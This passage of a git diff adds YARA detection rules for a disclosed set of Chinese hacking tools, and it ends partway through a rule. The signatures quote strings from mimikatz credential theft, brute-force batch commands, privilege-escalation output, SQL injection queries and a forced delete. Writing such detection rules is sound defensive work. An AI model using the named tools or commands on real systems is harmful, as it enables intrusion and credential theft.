+        description = "Chinese Hacktool Set - file Reg.bat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "cb8a92fe256a3e5b869f9564ecd1aa9c5c886e3f"
+        id = "97c0d9ff-6a12-57e3-8219-6c1843a03a29"
+    strings:
+        $s0 = "copy PacketX.dll C:\\windows\\system32\\PacketX.dll" fullword ascii 
+        $s1 = "regsvr32.exe C:\\windows\\system32\\PacketX.dll" fullword ascii 
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule sbin_squid {
+    meta:
+        description = "Chinese Hacktool Set - file squid.bat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "8b795a8085c3e6f3d764ebcfe6d59e26fdb91969"
+        id = "e7302e90-d072-599b-a8f2-bf1f21a84de9"
+    strings:
+        $s0 = "del /s /f /q" fullword ascii
+        $s1 = "squid.exe -z" fullword ascii
+        $s2 = "net start Squid" fullword ascii 
+        $s3 = "net stop Squid" fullword ascii 
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule sql1433_creck {
+    meta:
+        description = "Chinese Hacktool Set - file creck.bat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "189c11a3b268789a3fbcfac3bd4e03cbfde87b1d"
+        id = "38a91464-d493-5154-86ec-e54b3e25309b"
+    strings:
+        $s0 = "start anhao3.exe -i S.txt -p  pass3.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii 
+        $s1 = "start anhao1.exe -i S.txt -p  pass1.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii 
+        $s2 = "start anhao2.exe -i S.txt -p  pass2.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii 
+    condition:
+        uint16(0) == 0x7473 and filesize < 1KB and 1 of them
+}
+
+rule sql1433_Start {
+    meta:
+        description = "Chinese Hacktool Set - file Start.bat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "bd4be10f4c3a982647b2da1a8fb2e19de34eaf01"
+        id = "89bc249d-dba0-5196-b081-ddbd029ae6c8"
+    strings:
+        $s1 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii 
+        $s2 = "start creck.bat" fullword ascii 
+        $s3 = "del s1.txt" fullword ascii
+        $s4 = "del Result.txt" fullword ascii
+        $s5 = "del s.TXT" fullword ascii
+        $s6 = "mode con cols=48 lines=20" fullword ascii
+    condition:
+        filesize < 1KB and 2 of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_cn_hacktools.yar b/yara-Neo23x0/gen_cn_hacktools.yar
new file mode 100644
index 0000000..96cab2e
--- /dev/null
+++ b/yara-Neo23x0/gen_cn_hacktools.yar
@@ -0,0 +1,2587 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-13
+	Identifier: CN-Tools Hacktools
+	Reference: Diclosed hacktool set at http://w2op.us/ (Mirror: http://tools.zjqhr.com)
+*/
+
+rule mswin_check_lm_group {
+   meta:
+      description = "Chinese Hacktool Set - file mswin_check_lm_group.exe"
+      author = "Florian Roth (Nextron Systems)"
+      score = 70
+      reference = "http://tools.zjqhr.com/"
+      date = "2015-06-13"
+      modified = "2021-03-15"
+      hash = "115d87d7e7a3d08802a9e5fd6cd08e2ec633c367"
+      id = "be17981a-7cbf-55ac-bc81-9330472fc814"
+   strings:
+      $s1 = "Valid_Global_Groups: checking group membership of '%s\\%s'." fullword ascii
+      $s2 = "Usage: %s [-D domain][-G][-P][-c][-d][-h]" fullword ascii
+      $s3 = "-D    default user Domain" fullword ascii
+
+      $fp1 = "Panda Security S.L." ascii wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 380KB and all of ($s*)
+      and not 1 of ($fp*)
+}
+
+rule WAF_Bypass {
+	meta:
+		description = "Chinese Hacktool Set - file WAF-Bypass.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "860a9d7aac2ce3a40ac54a4a0bd442c6b945fa4e"
+		id = "d9f40934-873b-5e73-9198-987966027edc"
+	strings:
+		$s1 = "Email: blacksplitn@gmail.com" fullword wide
+		$s2 = "User-Agent:" fullword wide
+		$s3 = "Send Failed.in RemoteThread" fullword ascii
+		$s4 = "www.example.com" fullword wide
+		$s5 = "Get Domain:%s IP Failed." fullword ascii
+		$s6 = "Connect To Server Failed." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 7992KB and 5 of them
+}
+
+rule Guilin_veterans_cookie_spoofing_tool {
+	meta:
+		description = "Chinese Hacktool Set - file Guilin veterans cookie spoofing tool.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		modified = "2023-01-27"
+		hash = "06b1969bc35b2ee8d66f7ce8a2120d3016a00bb1"
+		id = "13f78e0b-c975-5879-9af1-8c619d6c94a9"
+	strings:
+		$s0 = "kernel32.dll^G" fullword ascii
+		$s1 = "\\.Sus\"B" ascii
+		$s4 = "u56Load3" fullword ascii
+		$s11 = "O MYTMP(iM) VALUES (" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1387KB and all of them
+}
+
+rule MarathonTool {
+	meta:
+		description = "Chinese Hacktool Set - file MarathonTool.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "084a27cd3404554cc799d0e689f65880e10b59e3"
+		id = "23513361-ecac-5ddb-92b9-4dd8da12e8db"
+	strings:
+		$s0 = "MarathonTool" ascii
+		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
+		$s18 = "SELECT UNICODE(SUBSTRING((system_user),{0},1))" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1040KB and all of them
+}
+
+rule PLUGIN_TracKid {
+	meta:
+		description = "Chinese Hacktool Set - file TracKid.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a114181b334e850d4b33e9be2794f5bb0eb59a09"
+		id = "8dd77df1-748e-5778-be40-38b794c74b97"
+	strings:
+		$s0 = "E-mail: cracker_prince@163.com" fullword ascii
+		$s1 = ".\\TracKid Log\\%s.txt" fullword ascii
+		$s2 = "Coded by prince" fullword ascii
+		$s3 = "TracKid.dll" fullword ascii
+		$s4 = ".\\TracKid Log" fullword ascii
+		$s5 = "%08x -- %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 3 of them
+}
+
+rule Pc_pc2015 {
+	meta:
+		description = "Chinese Hacktool Set - file pc2015.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "de4f098611ac9eece91b079050b2d0b23afe0bcb"
+		id = "aa7c0b5e-91c3-52cc-9e06-b4648d0b8825"
+	strings:
+		$s0 = "\\svchost.exe" ascii
+		$s1 = "LON\\OD\\O-\\O)\\O%\\O!\\O=\\O9\\O5\\O1\\O" fullword ascii
+		$s8 = "%s%08x.001" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 309KB and all of them
+}
+
+rule sekurlsa {
+	meta:
+		description = "Chinese Hacktool Set - file sekurlsa.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+		id = "b65dc578-e5a1-57e6-bd98-2c45cd07e857"
+	strings:
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "Format d'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur" wide
+		$s3 = "SECURITY\\Policy\\Secrets" fullword wide
+		$s4 = "Injection de donn" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1150KB and all of them
+}
+
+rule mysqlfast {
+	meta:
+		description = "Chinese Hacktool Set - file mysqlfast.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "32b60350390fe7024af7b4b8fbf50f13306c546f"
+		id = "93ee91cd-a6b8-5ed9-b750-779f88032be6"
+	strings:
+		$s2 = "Invalid password hash: %s" fullword ascii
+		$s3 = "-= MySql Hash Cracker =- " fullword ascii
+		$s4 = "Usage: %s hash" fullword ascii
+		$s5 = "Hash: %08lx%08lx" fullword ascii
+		$s6 = "Found pass: " fullword ascii
+		$s7 = "Pass not found" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 900KB and 4 of them
+}
+
+rule DTools2_02_DTools {
+	meta:
+		description = "Chinese Hacktool Set - file DTools.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "9f99771427120d09ec7afa3b21a1cb9ed720af12"
+		id = "fc812797-12d8-596a-8ebe-dd8b0d7a4b7e"
+	strings:
+		$s0 = "kernel32.dll" ascii
+		$s1 = "TSETPASSWORDFORM" fullword wide
+		$s2 = "TGETNTUSERNAMEFORM" fullword wide
+		$s3 = "TPORTFORM" fullword wide
+		$s4 = "ShellFold" fullword ascii
+		$s5 = "DefaultPHotLigh" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule dll_PacketX {
+	meta:
+		description = "Chinese Hacktool Set - file PacketX.dll - ActiveX wrapper for WinPcap packet capture library"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		score = 50
+		hash = "3f0908e0a38512d2a4fb05a824aa0f6cf3ba3b71"
+		id = "19ab5977-934d-5e3f-8bba-925bb57bf486"
+	strings:
+		$s9 = "[Failed to load winpcap packet.dll." wide
+		$s10 = "PacketX Version" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1920KB and all of them
+}
+
+rule SqlDbx_zhs {
+	meta:
+		description = "Chinese Hacktool Set - file SqlDbx_zhs.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e34228345498a48d7f529dbdffcd919da2dea414"
+		id = "31c49755-f1bd-5ecb-91ff-1040e40983ab"
+	strings:
+		$s0 = "S.failed_logins \"Failed Login Attempts\", " fullword ascii
+		$s7 = "SELECT ROLE, PASSWORD_REQUIRED FROM SYS.DBA_ROLES ORDER BY ROLE" fullword ascii
+		$s8 = "SELECT spid 'SPID', status 'Status', db_name (dbid) 'Database', loginame 'Login'" ascii
+		$s9 = "bcp.exe <:schema:>.<:table:> out \"<:file:>\" -n -S <:server:> -U <:user:> -P <:" ascii
+		$s11 = "L.login_policy_name AS \"Login Policy\", " fullword ascii
+		$s12 = "mailto:support@sqldbx.com" fullword ascii
+		$s15 = "S.last_login_time \"Last Login\", " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and 4 of them
+}
+
+rule ms10048_x86 {
+	meta:
+		description = "Chinese Hacktool Set - file ms10048-x86.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
+		id = "373f0419-5a7d-5f01-968c-5d3e7b1c0670"
+	strings:
+		$s1 = "[ ] Resolving PsLookupProcessByProcessId" fullword ascii
+		$s2 = "The target is most likely patched." fullword ascii
+		$s3 = "Dojibiron by Ronald Huizer, (c) master@h4cker.us ." fullword ascii
+		$s4 = "[ ] Creating evil window" fullword ascii
+		$s5 = "%sHANDLEF_INDESTROY" fullword ascii
+		$s6 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 4 of them
+}
+
+rule Dos_ch {
+	meta:
+		description = "Chinese Hacktool Set - file ch.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "60bbb87b08af840f21536b313a76646e7c1f0ea7"
+		id = "2e8319de-fe54-5083-968c-4707d127f072"
+	strings:
+		$s0 = "/Churraskito/-->Usage: Churraskito.exe \"command\" " fullword ascii
+		$s4 = "fuck,can't find WMI process PID." fullword ascii
+		$s5 = "/Churraskito/-->Found token %s " fullword ascii
+		$s8 = "wmiprvse.exe" fullword ascii
+		$s10 = "SELECT * FROM IIsWebInfo" fullword ascii
+		$s17 = "WinSta0\\Default" fullword ascii  /* Goodware String - occured 22 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 260KB and 3 of them
+}
+
+rule DUBrute_DUBrute {
+	meta:
+		description = "Chinese Hacktool Set - file DUBrute.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8aaae91791bf782c92b97c6e1b0f78fb2a9f3e65"
+		id = "10aa2017-d563-5953-8672-dbc13ff6b3cf"
+	strings:
+		$s1 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii
+		$s2 = "IP - 0; Login - 0; Password - 0; Combination - 0" fullword ascii
+		$s3 = "Create %d IP@Loginl;Password" fullword ascii
+		$s4 = "UBrute.com" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1020KB and all of them
+}
+
+rule CookieTools {
+	meta:
+		description = "Chinese Hacktool Set - file CookieTools.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b6a3727fe3d214f4fb03aa43fb2bc6fadc42c8be"
+		id = "893884e5-6f4c-5f67-9382-8bf1ee45a257"
+	strings:
+		$s0 = "http://210.73.64.88/doorway/cgi-bin/getclientip.asp?IP=" fullword ascii
+		$s2 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s3 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
+		$s8 = "OnGetPasswordP" fullword ascii
+		$s12 = "http://www.chinesehack.org/" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and 4 of them
+}
+
+rule update_PcInit {
+	meta:
+		description = "Chinese Hacktool Set - file PcInit.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a6facc4453f8cd81b8c18b3b3004fa4d8e2f5344"
+		id = "71c34049-97a2-5611-a081-21a85f8631d9"
+	strings:
+		$s1 = "\\svchost.exe" ascii
+		$s2 = "%s%08x.001" fullword ascii
+		$s3 = "Global\\ps%08x" fullword ascii
+		$s4 = "drivers\\" ascii /* Goodware String - occured 2 times */
+		$s5 = "StrStrA" fullword ascii /* Goodware String - occured 43 times */
+		$s6 = "StrToIntA" fullword ascii /* Goodware String - occured 44 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule dat_NaslLib {
+	meta:
+		description = "Chinese Hacktool Set - file NaslLib.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "fb0d4263118faaeed2d68e12fab24c59953e862d"
+		id = "d5ce72a4-c2b0-50b2-85bb-acf0bfd354e0"
+	strings:
+		$s1 = "nessus_get_socket_from_connection: fd <%d> is closed" fullword ascii
+		$s2 = "[*] \"%s\" completed, %d/%d/%d/%d:%d:%d - %d/%d/%d/%d:%d:%d" fullword ascii
+		$s3 = "A FsSniffer backdoor seems to be running on this port%s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1360KB and all of them
+}
+
+rule Dos_1 {
+	meta:
+		description = "Chinese Hacktool Set - file 1.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b554f0687a12ec3a137f321cc15e052ff219f28c"
+		id = "3f1cc1b3-bce2-5a29-849e-ee7deb5e8809"
+	strings:
+		$s1 = "/churrasco/-->Usage: Churrasco.exe \"command to run\"" fullword ascii
+		$s2 = "/churrasco/-->Done, command should have ran as SYSTEM!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule OtherTools_servu {
+	meta:
+		description = "Chinese Hacktool Set - file svu.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5c64e6879a9746a0d65226706e0edc7a"
+		id = "b750d090-8726-5d21-98ba-6cb050cb7174"
+	strings:
+		$s0 = "MZKERNEL32.DLL" fullword ascii
+		$s1 = "UpackByDwing@" fullword ascii
+		$s2 = "GetProcAddress" fullword ascii
+		$s3 = "WriteFile" fullword ascii
+	condition:
+		uint32(0) == 0x454b5a4d and $s0 at 0 and filesize < 50KB and all of them
+}
+
+rule ustrrefadd {
+	meta:
+		description = "Chinese Hacktool Set - file ustrrefadd.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b371b122460951e74094f3db3016264c9c8a0cfa"
+		id = "e6701e7e-bb15-5e0c-822b-3e29342e083c"
+	strings:
+		$s0 = "E-Mail  : admin@luocong.com" fullword ascii
+		$s1 = "Homepage: http://www.luocong.com" fullword ascii
+		$s2 = ": %d  -  " fullword ascii
+		$s3 = "ustrreffix.dll" fullword ascii
+		$s5 = "Ultra String Reference plugin v%d.%02d" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 320KB and all of them
+}
+
+rule XScanLib {
+	meta:
+		description = "Chinese Hacktool Set - file XScanLib.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
+		id = "e1e2cfad-7cbb-51c3-9b55-648c47af641e"
+	strings:
+		$s4 = "XScanLib.dll" fullword ascii
+		$s6 = "Ports/%s/%d" fullword ascii
+		$s8 = "DEFAULT-TCP-PORT" fullword ascii
+		$s9 = "PlugCheckTcpPort" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 360KB and all of them
+}
+
+rule IDTools_For_WinXP_IdtTool {
+	meta:
+		description = "Chinese Hacktool Set - file IdtTool.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ebab6e4cb7ea82c8dc1fe4154e040e241f4672c6"
+		id = "c157d467-87f8-59d5-a3ba-e4fbeeba767d"
+	strings:
+		$s2 = "IdtTool.sys" fullword ascii
+		$s4 = "Idt Tool bY tMd[CsP]" fullword wide
+		$s6 = "\\\\.\\slIdtTool" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 25KB and all of them
+}
+
+rule GoodToolset_ms11046 {
+	meta:
+		description = "Chinese Hacktool Set - file ms11046.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
+		id = "a4703861-02a9-5d93-b6de-c3664ca8abb9"
+	strings:
+		$s1 = "[*] Token system command" fullword ascii
+		$s2 = "[*] command add user 90sec 90sec" fullword ascii
+		$s3 = "[*] Add to Administrators success" fullword ascii
+		$s4 = "[*] User has been successfully added" fullword ascii
+		$s5 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii  /* Goodware String - occured 3 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 840KB and 2 of them
+}
+
+rule Cmdshell32 {
+	meta:
+		description = "Chinese Hacktool Set - file Cmdshell32.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3c41116d20e06dcb179e7346901c1c11cd81c596"
+		id = "f1dfb5a1-4292-5895-8310-913cfdf4d9d0"
+	strings:
+		$s1 = "cmdshell.exe" fullword wide
+		$s2 = "cmdshell" fullword ascii
+		$s3 = "[Root@CmdShell ~]#" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 62KB and all of them
+}
+
+rule Sniffer_analyzer_SSClone_1210_full_version {
+	meta:
+		description = "Chinese Hacktool Set - file Sniffer analyzer SSClone 1210 full version.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6882125babb60bd0a7b2f1943a40b965b7a03d4e"
+		id = "69dac4bf-483d-5888-a748-1a52cf372066"
+	strings:
+		$s0 = "http://www.vip80000.com/hot/index.html" fullword ascii
+		$s1 = "GetConnectString" fullword ascii
+		$s2 = "CnCerT.Safe.SSClone.dll" fullword ascii
+		$s3 = "(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3580KB and all of them
+}
+
+rule x64_klock {
+	meta:
+		description = "Chinese Hacktool Set - file klock.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+		id = "7065a4fb-c867-5a94-b6bb-5b60085bea15"
+	strings:
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "klock.dll" fullword ascii
+		$s3 = "Erreur : le bureau courant (" wide
+		$s4 = "klock de mimikatz pour Windows" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 907KB and all of them
+}
+
+rule Dos_Down32 {
+	meta:
+		description = "Chinese Hacktool Set - file Down32.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "0365738acd728021b0ea2967c867f1014fd7dd75"
+		id = "e56c254d-1238-5786-8e8a-f9122b0310a9"
+	strings:
+		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
+		$s6 = "down.exe" fullword wide
+		$s15 = "get_Form1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 137KB and all of them
+}
+
+rule MarathonTool_2 {
+	meta:
+		description = "Chinese Hacktool Set - file MarathonTool.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "75b5d25cdaa6a035981e5a33198fef0117c27c9c"
+		id = "20151673-6779-58ce-872c-81e74a96597d"
+	strings:
+		$s3 = "http://localhost/retomysql/pista.aspx?id_pista=1" fullword wide
+		$s6 = "SELECT ASCII(SUBSTR(username,{0},1)) FROM USER_USERS" fullword wide
+		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule scanms_scanms {
+	meta:
+		description = "Chinese Hacktool Set - file scanms.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "47787dee6ddea2cb44ff27b6a5fd729273cea51a"
+		id = "50393220-35ae-5d3b-ae3f-5d5eb036c043"
+	strings:
+		$s1 = "--- ScanMs Tool --- (c) 2003 Internet Security Systems ---" fullword ascii
+		$s2 = "Scans for systems vulnerable to MS03-026 vuln" fullword ascii
+		$s3 = "More accurate for WinXP/Win2k, less accurate for WinNT" fullword ascii /* PEStudio Blacklist: os */
+		$s4 = "added %d.%d.%d.%d-%d.%d.%d.%d" fullword ascii
+		$s5 = "Internet Explorer 1.0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 3 of them
+}
+
+rule CN_Tools_PcShare {
+	meta:
+		description = "Chinese Hacktool Set - file PcShare.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ee7ba9784fae413d644cdf5a093bd93b73537652"
+		id = "0c4e9f9b-9839-56a0-be21-a4e9f19cdfdb"
+	strings:
+		$s0 = "title=%s%s-%s;id=%s;hwnd=%d;mainhwnd=%d;mainprocess=%d;cmd=%d;" fullword wide
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" fullword wide
+		$s2 = "http://www.pcshares.cn/pcshare200/lostpass.asp" fullword wide
+		$s5 = "port=%s;name=%s;pass=%s;" fullword wide
+		$s16 = "%s\\ini\\*.dat" fullword wide
+		$s17 = "pcinit.exe" fullword wide
+		$s18 = "http://www.pcshare.cn" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 6000KB and 3 of them
+}
+
+rule pw_inspector {
+	meta:
+		description = "Chinese Hacktool Set - file pw-inspector.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4f8e3e101098fc3da65ed06117b3cb73c0a66215"
+		id = "888db647-c5d0-5b1b-bcd2-512c1ebeadea"
+	strings:
+		$s1 = "-m MINLEN  minimum length of a valid password" fullword ascii
+		$s2 = "http://www.thc.org" fullword ascii
+		$s3 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 460KB and all of them
+}
+
+rule Dll_LoadEx {
+	meta:
+		description = "Chinese Hacktool Set - file Dll_LoadEx.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "213d9d0afb22fe723ff570cf69ff8cdb33ada150"
+		id = "51235448-751e-51ce-93f8-da48eddb2b7f"
+	strings:
+		$s0 = "WiNrOOt@126.com" fullword wide
+		$s1 = "Dll_LoadEx.EXE" fullword wide
+		$s3 = "You Already Loaded This DLL ! :(" ascii
+		$s10 = "Dll_LoadEx Microsoft " fullword wide
+		$s17 = "Can't Load This Dll ! :(" ascii
+		$s18 = "WiNrOOt" fullword wide
+		$s20 = " Dll_LoadEx(&A)..." fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 120KB and 3 of them
+}
+
+rule dat_report {
+	meta:
+		description = "Chinese Hacktool Set - file report.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
